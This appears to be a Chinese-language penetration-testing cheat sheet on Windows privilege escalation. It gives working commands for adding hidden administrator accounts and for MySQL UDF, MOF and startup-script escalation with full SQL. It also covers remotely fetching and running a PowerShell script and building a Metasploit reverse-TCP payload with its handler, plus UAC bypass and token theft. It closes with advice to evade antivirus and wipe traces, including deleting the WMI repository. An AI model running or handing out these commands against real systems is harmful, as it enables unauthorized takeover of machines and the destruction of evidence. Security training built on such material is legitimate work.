Windows Privilege Escalation
字数 1215 2025-08-10 08:28:42
Windows 权限提升全面指南
1. 权限基础
1.1 Windows 用户组权限划分
- Administrators:管理员组,拥有计算机/域的完全访问权限
- Power Users:高级用户组,可执行除管理员保留任务外的其他系统任务
- Users:普通用户组,无法进行系统级改动
- Guests:来宾组,比普通用户限制更多
- Everyone:包含所有用户
1.2 基础命令
query user # 查看用户登录情况
whoami # 查看当前用户权限
systeminfo # 查看系统版本与补丁信息
net user # 查看用户信息
net start # 查看运行的服务
netstat -ano # 查看端口情况
tasklist # 查看所有进程
wmic os get caption # 查看系统名
wmic qfe get Description,HotFixID,InstalledOn # 查看补丁信息
# 添加管理员用户
net user username password /add
net localgroup administrators username /add
net localgroup "Remote Desktop Users" username /add
2. 系统漏洞提权
2.1 补丁信息查询工具
-
WinSystemHelper:
- 上传WinSysHelper.bat及相关txt文件
- 运行bat查看可利用漏洞
- 下载并执行对应Exp
-
Sherlock PowerShell脚本:
# 启动PowerShell powershell.exe -exec bypass # 加载脚本 Import-Module Sherlock.ps1 # 或远程加载 IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1') # 检查漏洞 Find-AllVulns
2.2 提权步骤
- 运行
systeminfo获取补丁信息 - 使用提权辅助平台查询漏洞编号和Exp
- 选择对应系统版本的Exp
- 注意Exp运行方式:
- 直接执行exe
- WebShell中执行
- 利用MSF等工具
- C++/Python/PowerShell脚本
3. 数据库提权
3.1 MySQL提权
UDF提权
条件:
- Windows 2000/XP/2003
- MySQL root权限
- 对MySQL有insert/delete权限
步骤:
-
获取UDF文件:
python cloak.py -d -i lib_mysqludf_sys.dll_ -
寻找导出目录:
-- MySQL<5.1导出到c:/windows/system32/ -- MySQL>5.1导出到MySQL安装目录lib\plugin\ select @@basedir; show variables like '%plugin%'; -- 创建目录(如不存在) select '123' into dumpfile 'C:\\phpStudy\\MySQL\\lib::$INDEX_ALLOCATION'; -
导出UDF:
-- 本地转换十六进制 select hex(load_file("C:\\udf.dll")) into dumpfile 'C:\\myudf.txt'; -- 靶机写入 select unhex('十六进制UDF') into dumpfile "C:\\Program Files\\MySQL\\lib\\plugin\\myudf.dll"; -
创建函数并执行命令:
create function sys_eval returns string soname 'myudf.dll'; select sys_eval("whoami");
MOF提权
条件:
- Windows 2003及以下
- MySQL有读写c:/windows/system32/wbem/mof权限
- secure-file-priv参数不为null
步骤:
-
上传nullevt.mof文件
-
导入MOF文件:
select load_file("C:/xxx/test.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof" -
痕迹清除:
net stop winmgmt del c:/windows/system32/wbem/repository net start winmgmt
启动项提权
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user naraku 123456 /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators naraku /add"",0) " );
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
3.2 MSSQL提权
前提:获取SA密码
利用方式:
- 传统xp_cmdshell
- COM组件执行命令
- CLR执行命令(类似MySQL UDF)
- 本地Hash注入+端口转发/Socks
- Windows访问令牌实现无密码连接
3.3 Oracle提权
- Oracle服务通常运行权限较高
- 可使用MSF自动化利用模块
4. MSF提权技术
4.1 基本流程
-
生成木马:
msfvenom -p windows/meterpreter_reverse_tcp lhost=<IP> lport=<PORT> -f exe -o /tmp/win.exe -
监听:
use exploit/multi/handler set payload windows/meterpreter_reverse_tcp set lhost <IP> set lport <PORT> exploit
4.2 提权方法
GetSystem
meterpreter> getsystem
BypassUAC
meterpreter> background
msf> use exploit/windows/local/bypassuac
msf> set SESSION <session_id>
msf> run
内核提权
-
查询补丁:
meterpreter> run post/windows/gather/enum_patches -
查询可利用Exp:
msf> use post/multi/recon/local_exploit_suggester msf> set LHOST <IP> msf> set SESSION <session_id> msf> run -
进程迁移(32位转64位):
meterpreter> ps meterpreter> migrate <PID>
令牌操纵
-
Incognito假冒令牌:
meterpreter> use incognito meterpreter> list_tokens -u meterpreter> impersonate_token 'NT AUTHORITY\SYSTEM' meterpreter> execute -f cmd.exe -i –t meterpreter> rev2self -
窃取令牌:
meterpreter> ps meterpreter> steal_token <PID> meterpreter> drop_token
5. SMB系列RCE提权
- MS08-067
- MS17-010(永恒之蓝)
注意:这类漏洞在较新系统中已基本绝迹
6. 参考资源
- 系统提权入门思维导图
- MySQL之UDF提权
- 内网渗透之MySQL数据库提权
- Windows下三种MySQL提权剖析
- Metasploit提权方法
注意事项
- 执行Exp前务必确认目标系统版本和位数
- 注意免杀处理,避免触发防护
- 32位和64位系统需要对应不同的Exp
- 提权成功后及时清除痕迹
- 数据库提权需注意secure-file-priv等安全限制